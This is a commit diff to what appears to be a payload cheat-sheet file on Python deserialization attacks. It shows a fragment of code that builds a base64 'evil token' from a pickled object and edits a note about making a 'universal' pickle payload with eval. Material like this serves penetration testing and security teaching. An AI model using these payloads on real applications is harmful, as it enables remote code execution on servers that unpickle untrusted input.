Update Python.md to clarify payload compatibility
Removed note about platform-specific payloads and added information on creating a universal payload using eval.
This commit is contained in:
@@ -68,8 +68,6 @@ evil_token = b64encode(cPickle.dumps(e))
|
|||||||
print("Your Evil Token : {}").format(evil_token)
|
print("Your Evil Token : {}").format(evil_token)
|
||||||
```
|
```
|
||||||
|
|
||||||
This payload uses platform-specific `os` module, so payloads generated on Windows will not work on Linux and vice versa.
|
|
||||||
|
|
||||||
A universal payload can be created by loading `os` at runtime using eval:
|
A universal payload can be created by loading `os` at runtime using eval:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
|||||||
Reference in New Issue
Block a user